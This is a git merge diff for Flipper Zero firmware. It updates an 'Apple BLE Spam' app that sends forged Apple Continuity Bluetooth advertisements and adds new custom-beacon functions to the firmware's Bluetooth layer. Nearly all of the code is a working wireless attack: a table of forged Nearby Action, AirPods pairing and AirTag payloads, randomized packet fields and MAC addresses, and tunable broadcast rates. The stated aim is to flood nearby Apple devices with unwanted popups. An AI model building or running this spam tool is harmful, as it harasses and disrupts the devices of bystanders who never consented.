Merge branch 'dev' into dev

This commit is contained in:
Matthew
2023-09-07 15:07:01 -07:00
committed by GitHub
9 changed files with 175 additions and 112 deletions

View File

@@ -1,6 +1,7 @@
#include <gui/gui.h>
#include <gui/elements.h>
#include <furi_hal_bt.h>
#include <furi_hal_random.h>
#include <assets_icons.h>
#include "apple_ble_spam_icons.h"
@@ -14,9 +15,11 @@ typedef struct {
} Payload;
// Hacked together by @Willy-JL
// Custom adv logic by @Willy-JL and @xMasterX
// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
// Custom adv logic and Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/
// Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/
static Payload payloads[] = {
#if false
@@ -61,14 +64,6 @@ static Payload payloads[] = {
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
}},
{.title = "Dismiss Active Actions",
.text = "Close current Nearby Actions",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0x00, .type = 0x00}},
}},
{.title = "AppleTV AutoFill",
.text = "Banner, unlocked, long range",
.random = false,
@@ -336,18 +331,39 @@ static Payload payloads[] = {
};
struct {
size_t count;
uint8_t count;
ContinuityData** datas;
} randoms[ContinuityTypeCount] = {0};
uint16_t delays[] = {
20,
50,
100,
150,
200,
300,
400,
500,
750,
1000,
1500,
2000,
2500,
3000,
4000,
5000,
};
typedef struct {
bool resume;
bool advertising;
size_t delay;
size_t size;
uint8_t delay;
uint8_t size;
uint8_t* packet;
Payload* payload;
FuriThread* thread;
size_t index;
uint8_t mac[GAP_MAC_ADDR_SIZE];
uint8_t index;
} State;
static int32_t adv_thread(void* ctx) {
@@ -355,25 +371,39 @@ static int32_t adv_thread(void* ctx) {
Payload* payload = state->payload;
ContinuityMsg* msg = &payload->msg;
ContinuityType type = msg->type;
while(state->advertising) {
if(payload->random) {
size_t random_i = rand() % randoms[type].count;
uint8_t random_i = rand() % randoms[type].count;
memcpy(&msg->data, randoms[type].datas[random_i], sizeof(msg->data));
}
continuity_generate_packet(msg, state->packet);
furi_hal_bt_set_custom_adv_data(state->packet, state->size);
furi_thread_flags_wait(true, FuriFlagWaitAny, state->delay);
furi_hal_bt_custom_adv_set(state->packet, state->size);
furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]);
}
return 0;
}
static void stop_adv(State* state) {
state->advertising = false;
furi_thread_flags_set(furi_thread_get_id(state->thread), true);
furi_thread_join(state->thread);
furi_hal_bt_custom_adv_stop();
}
static void start_adv(State* state) {
state->advertising = true;
furi_thread_start(state->thread);
uint16_t delay = delays[state->delay];
furi_hal_bt_custom_adv_start(delay, delay, 0x00, state->mac, 0x1F);
}
static void toggle_adv(State* state, Payload* payload) {
if(state->advertising) {
state->advertising = false;
furi_thread_flags_set(furi_thread_get_id(state->thread), true);
furi_thread_join(state->thread);
stop_adv(state);
if(state->resume) furi_hal_bt_start_advertising();
state->payload = NULL;
furi_hal_bt_set_custom_adv_data(NULL, 0);
free(state->packet);
state->packet = NULL;
state->size = 0;
@@ -381,8 +411,10 @@ static void toggle_adv(State* state, Payload* payload) {
state->size = continuity_get_packet_size(payload->msg.type);
state->packet = malloc(state->size);
state->payload = payload;
state->advertising = true;
furi_thread_start(state->thread);
furi_hal_random_fill_buf(state->mac, sizeof(state->mac));
state->resume = furi_hal_bt_is_active();
furi_hal_bt_stop_advertising();
start_adv(state);
}
}
@@ -395,7 +427,7 @@ static void draw_callback(Canvas* canvas, void* ctx) {
canvas_draw_str(canvas, 14, 12, "Apple BLE Spam");
canvas_set_font(canvas, FontBatteryPercent);
char delay[14];
snprintf(delay, sizeof(delay), "%ims", state->delay);
snprintf(delay, sizeof(delay), "%ims", delays[state->delay]);
canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, delay);
canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
@@ -428,15 +460,15 @@ static void input_callback(InputEvent* input, void* ctx) {
int32_t apple_ble_spam(void* p) {
UNUSED(p);
for(size_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
if(payloads[payload_i].random) continue;
randoms[payloads[payload_i].msg.type].count++;
}
for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
if(!randoms[type].count) continue;
randoms[type].datas = malloc(sizeof(ContinuityData*) * randoms[type].count);
size_t random_i = 0;
for(size_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
uint8_t random_i = 0;
for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
if(payloads[payload_i].random) continue;
if(payloads[payload_i].msg.type == type) {
randoms[type].datas[random_i++] = &payloads[payload_i].msg.data;
@@ -445,7 +477,6 @@ int32_t apple_ble_spam(void* p) {
}
State* state = malloc(sizeof(State));
state->delay = 500;
state->thread = furi_thread_alloc();
furi_thread_set_callback(state->thread, adv_thread);
furi_thread_set_context(state->thread, state);
@@ -464,36 +495,39 @@ int32_t apple_ble_spam(void* p) {
furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
Payload* payload = &payloads[state->index];
bool advertising = state->advertising;
switch(input.key) {
case InputKeyOk:
toggle_adv(state, payload);
break;
case InputKeyUp:
if(state->delay < 5000) {
state->delay += 100;
furi_thread_flags_set(furi_thread_get_id(state->thread), true);
if(state->delay < COUNT_OF(delays) - 1) {
if(advertising) stop_adv(state);
state->delay++;
if(advertising) start_adv(state);
}
break;
case InputKeyDown:
if(state->delay > 100) {
state->delay -= 100;
furi_thread_flags_set(furi_thread_get_id(state->thread), true);
if(state->delay > 0) {
if(advertising) stop_adv(state);
state->delay--;
if(advertising) start_adv(state);
}
break;
case InputKeyLeft:
if(state->index > 0) {
if(state->advertising) toggle_adv(state, payload);
if(advertising) toggle_adv(state, payload);
state->index--;
}
break;
case InputKeyRight:
if(state->index < COUNT_OF(payloads) - 1) {
if(state->advertising) toggle_adv(state, payload);
if(advertising) toggle_adv(state, payload);
state->index++;
}
break;
case InputKeyBack:
if(state->advertising) toggle_adv(state, payload);
if(advertising) toggle_adv(state, payload);
running = false;
break;
default:

View File

@@ -13,7 +13,7 @@ App(
name="continuity",
),
],
fap_author="@Willy-JL & @techryptic",
fap_author="@Willy-JL", # Plus research from @ECTO-1A @xMasterX and @techryptic
fap_version="1.0",
fap_description="Spam Apple devices with annoying popups and notifications via BLE packets",
)

View File

@@ -2,9 +2,11 @@
#include <furi_hal_random.h>
// Hacked together by @Willy-JL
// Custom adv logic by @Willy-JL and @xMasterX
// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
// Custom adv logic and Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/
// Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/
static const char* continuity_type_names[ContinuityTypeCount] = {
[ContinuityTypeAirDrop] = "AirDrop",
@@ -18,7 +20,7 @@ const char* continuity_get_type_name(ContinuityType type) {
return continuity_type_names[type];
}
static size_t continuity_packet_sizes[ContinuityTypeCount] = {
static uint8_t continuity_packet_sizes[ContinuityTypeCount] = {
[ContinuityTypeAirDrop] = 24,
[ContinuityTypeProximityPair] = 31,
[ContinuityTypeAirplayTarget] = 12,
@@ -26,18 +28,17 @@ static size_t continuity_packet_sizes[ContinuityTypeCount] = {
[ContinuityTypeTetheringSource] = 12,
[ContinuityTypeNearbyAction] = 11,
};
size_t continuity_get_packet_size(ContinuityType type) {
uint8_t continuity_get_packet_size(ContinuityType type) {
return continuity_packet_sizes[type];
}
void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
size_t size = continuity_get_packet_size(msg->type);
size_t i = 0;
uint8_t size = continuity_get_packet_size(msg->type);
uint8_t i = 0;
packet[i] = size - i - 1; // Packet Length
i++;
packet[i++] = 0xff; // Packet Header
packet[i++] = 0x4c; // ...
packet[i++] = size - 1; // Packet Length
packet[i++] = 0xFF; // Packet Header
packet[i++] = 0x4C; // ...
packet[i++] = 0x00; // ...
packet[i++] = msg->type; // Type
packet[i] = size - i - 1; // Message Length
@@ -75,22 +76,8 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
packet[i++] = (rand() % 256); // Lid Open Counter
packet[i++] = 0x00; // Device Color
packet[i++] = 0x00;
packet[i++] = (rand() % 256); // Encrypted Payload
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
i += 16;
break;
case ContinuityTypeAirplayTarget:
@@ -133,9 +120,8 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
if(packet[i] == 0xBF && rand() % 2) packet[i]++; // Ugly hack to shift 0xBF-0xC0 for spam
i++;
packet[i++] = msg->data.nearby_action.type;
packet[i++] = (rand() % 256); // Authentication Tag
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
i += 3;
break;
default:

View File

@@ -4,9 +4,11 @@
#include <stdlib.h>
// Hacked together by @Willy-JL
// Custom adv logic by @Willy-JL and @xMasterX
// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
// Custom adv logic and Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/
// Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/
typedef enum {
ContinuityTypeAirDrop = 0x05,
@@ -44,6 +46,6 @@ typedef struct {
const char* continuity_get_type_name(ContinuityType type);
size_t continuity_get_packet_size(ContinuityType type);
uint8_t continuity_get_packet_size(ContinuityType type);
void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet);

View File

@@ -1075,6 +1075,9 @@ Function,+,furi_event_flag_wait,uint32_t,"FuriEventFlag*, uint32_t, uint32_t, ui
Function,+,furi_get_tick,uint32_t,
Function,+,furi_hal_bt_change_app,_Bool,"FuriHalBtProfile, GapEventCallback, void*"
Function,+,furi_hal_bt_clear_white_list,_Bool,
Function,+,furi_hal_bt_custom_adv_set,_Bool,"const uint8_t*, size_t"
Function,+,furi_hal_bt_custom_adv_start,_Bool,"uint16_t, uint16_t, uint8_t, const uint8_t[( 6 )], uint8_t"
Function,+,furi_hal_bt_custom_adv_stop,_Bool,
Function,+,furi_hal_bt_dump_state,void,FuriString*
Function,+,furi_hal_bt_ensure_c2_mode,_Bool,BleGlueC2Mode
Function,-,furi_hal_bt_get_conn_rssi,uint32_t,uint8_t*
@@ -1117,7 +1120,6 @@ Function,+,furi_hal_bt_serial_set_rpc_status,void,FuriHalBtSerialRpcStatus
Function,+,furi_hal_bt_serial_start,void,
Function,+,furi_hal_bt_serial_stop,void,
Function,+,furi_hal_bt_serial_tx,_Bool,"uint8_t*, uint16_t"
Function,+,furi_hal_bt_set_custom_adv_data,void,"const uint8_t*, size_t"
Function,+,furi_hal_bt_set_key_storage_change_callback,void,"BleGlueKeyStorageChangedCallback, void*"
Function,+,furi_hal_bt_set_profile_adv_name,void,"FuriHalBtProfile, const char[( 18 + 1 )]"
Function,+,furi_hal_bt_set_profile_mac_addr,void,"FuriHalBtProfile, const uint8_t[( 6 )]"
@@ -1705,7 +1707,6 @@ Function,-,gammaf_r,float,"float, int*"
Function,-,gap_get_remote_conn_rssi,uint32_t,int8_t*
Function,-,gap_get_state,GapState,
Function,-,gap_init,_Bool,"GapConfig*, GapEventCallback, void*"
Function,-,gap_set_custom_adv_data,void,"size_t, const uint8_t*"
Function,-,gap_start_advertising,void,
Function,-,gap_stop_advertising,void,
Function,-,gap_thread_stop,void,
1 entry status name type params
1075 Function + furi_get_tick uint32_t
1076 Function + furi_hal_bt_change_app _Bool FuriHalBtProfile, GapEventCallback, void*
1077 Function + furi_hal_bt_clear_white_list _Bool
1078 Function + furi_hal_bt_custom_adv_set _Bool const uint8_t*, size_t
1079 Function + furi_hal_bt_custom_adv_start _Bool uint16_t, uint16_t, uint8_t, const uint8_t[( 6 )], uint8_t
1080 Function + furi_hal_bt_custom_adv_stop _Bool
1081 Function + furi_hal_bt_dump_state void FuriString*
1082 Function + furi_hal_bt_ensure_c2_mode _Bool BleGlueC2Mode
1083 Function - furi_hal_bt_get_conn_rssi uint32_t uint8_t*
1120 Function + furi_hal_bt_serial_start void
1121 Function + furi_hal_bt_serial_stop void
1122 Function + furi_hal_bt_serial_tx _Bool uint8_t*, uint16_t
Function + furi_hal_bt_set_custom_adv_data void const uint8_t*, size_t
1123 Function + furi_hal_bt_set_key_storage_change_callback void BleGlueKeyStorageChangedCallback, void*
1124 Function + furi_hal_bt_set_profile_adv_name void FuriHalBtProfile, const char[( 18 + 1 )]
1125 Function + furi_hal_bt_set_profile_mac_addr void FuriHalBtProfile, const uint8_t[( 6 )]
1707 Function - gap_get_remote_conn_rssi uint32_t int8_t*
1708 Function - gap_get_state GapState
1709 Function - gap_init _Bool GapConfig*, GapEventCallback, void*
Function - gap_set_custom_adv_data void size_t, const uint8_t*
1710 Function - gap_start_advertising void
1711 Function - gap_stop_advertising void
1712 Function - gap_thread_stop void

View File

@@ -37,9 +37,6 @@ typedef struct {
FuriThread* thread;
FuriMessageQueue* command_queue;
bool enable_adv;
size_t custom_adv_len;
const uint8_t* custom_adv_data;
} Gap;
typedef enum {
@@ -434,34 +431,18 @@ static void gap_advertise_start(GapState new_state) {
}
}
// Configure advertising
if(gap->custom_adv_data) {
// Custom adv logic from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/
static const uint16_t gap_appearance = 0x0000; //GAP_APPEARANCE_UNKNOWN
status = aci_gatt_update_char_value(
gap->service.gap_svc_handle,
gap->service.gap_svc_handle,
0,
sizeof(gap_appearance),
(uint8_t*)&gap_appearance);
status = aci_gap_set_discoverable(
ADV_IND, min_interval, max_interval, CFG_IDENTITY_ADDRESS, 0, 0, NULL, 0, NULL, 0, 0);
status = aci_gap_delete_ad_type(AD_TYPE_FLAGS);
status = aci_gap_delete_ad_type(AD_TYPE_TX_POWER_LEVEL);
status = aci_gap_update_adv_data(gap->custom_adv_len, gap->custom_adv_data);
} else {
status = aci_gap_set_discoverable(
ADV_IND,
min_interval,
max_interval,
CFG_IDENTITY_ADDRESS,
0,
strlen(gap->service.adv_name),
(uint8_t*)gap->service.adv_name,
gap->service.adv_svc_uuid_len,
gap->service.adv_svc_uuid,
0,
0);
}
status = aci_gap_set_discoverable(
ADV_IND,
min_interval,
max_interval,
CFG_IDENTITY_ADDRESS,
0,
strlen(gap->service.adv_name),
(uint8_t*)gap->service.adv_name,
gap->service.adv_svc_uuid_len,
gap->service.adv_svc_uuid,
0,
0);
if(status) {
FURI_LOG_E(TAG, "set_discoverable failed %d", status);
} else {
@@ -581,11 +562,6 @@ uint32_t gap_get_remote_conn_rssi(int8_t* rssi) {
return 0;
}
void gap_set_custom_adv_data(size_t adv_len, const uint8_t* adv_data) {
gap->custom_adv_len = adv_len;
gap->custom_adv_data = adv_data;
}
GapState gap_get_state() {
GapState state;
if(gap) {

View File

@@ -83,8 +83,6 @@ void gap_thread_stop();
uint32_t gap_get_remote_conn_rssi(int8_t* rssi);
void gap_set_custom_adv_data(size_t adv_len, const uint8_t* adv_data);
#ifdef __cplusplus
}
#endif

View File

@@ -483,10 +483,48 @@ uint32_t furi_hal_bt_get_conn_rssi(uint8_t* rssi) {
return since;
}
void furi_hal_bt_set_custom_adv_data(const uint8_t* adv_data, size_t adv_len) {
gap_set_custom_adv_data(adv_len, adv_data);
furi_hal_bt_stop_advertising();
furi_hal_bt_start_advertising();
bool furi_hal_bt_custom_adv_set(const uint8_t* adv_data, size_t adv_len) {
tBleStatus status = aci_gap_additional_beacon_set_data(adv_len, adv_data);
if(status) {
FURI_LOG_E(TAG, "custom_adv_set failed %d", status);
return false;
} else {
FURI_LOG_I(TAG, "custom_adv_set success");
return true;
}
}
bool furi_hal_bt_custom_adv_start(
uint16_t min_interval,
uint16_t max_interval,
uint8_t mac_type,
const uint8_t mac_addr[GAP_MAC_ADDR_SIZE],
uint8_t power_amp_level) {
tBleStatus status = aci_gap_additional_beacon_start(
min_interval / 0.625, // Millis to gap time
max_interval / 0.625, // Millis to gap time
0b00000111, // All 3 channels
mac_type,
mac_addr,
power_amp_level);
if(status) {
FURI_LOG_E(TAG, "custom_adv_start failed %d", status);
return false;
} else {
FURI_LOG_I(TAG, "custom_adv_start success");
return true;
}
}
bool furi_hal_bt_custom_adv_stop() {
tBleStatus status = aci_gap_additional_beacon_stop();
if(status) {
FURI_LOG_E(TAG, "custom_adv_stop failed %d", status);
return false;
} else {
FURI_LOG_I(TAG, "custom_adv_stop success");
return true;
}
}
void furi_hal_bt_reverse_mac_addr(uint8_t mac_addr[GAP_MAC_ADDR_SIZE]) {

View File

@@ -251,7 +251,35 @@ const uint8_t* furi_hal_bt_get_profile_mac_addr(FuriHalBtProfile profile);
uint32_t furi_hal_bt_get_conn_rssi(uint8_t* rssi);
void furi_hal_bt_set_custom_adv_data(const uint8_t* adv_data, size_t adv_len);
/** Set custom advertisement packet data
* @param[in] adv_data pointer to advertisement data
* @param[in] adv_len length of advertisement data
*
* @return true on success
*/
bool furi_hal_bt_custom_adv_set(const uint8_t* adv_data, size_t adv_len);
/** Start custom advertisement beacon
* @param[in] min_interval minimum advertisement interval (20 - 10240 ms)
* @param[in] max_interval maximum advertisement interval (20 - 10240 ms)
* @param[in] mac_type type of mac address (0x00 public, 0x01 static random)
* @param[in] mac_addr pointer to mac address
* @param[in] power_amp_level amplifier level (output dBm) (0x00 - 0x1F)
*
* @return true on success
*/
bool furi_hal_bt_custom_adv_start(
uint16_t min_interval,
uint16_t max_interval,
uint8_t mac_type,
const uint8_t mac_addr[GAP_MAC_ADDR_SIZE],
uint8_t power_amp_level);
/** Stop custom advertisement beacon
*
* @return true on success
*/
bool furi_hal_bt_custom_adv_stop();
void furi_hal_bt_set_profile_pairing_method(FuriHalBtProfile profile, GapPairing pairing_method);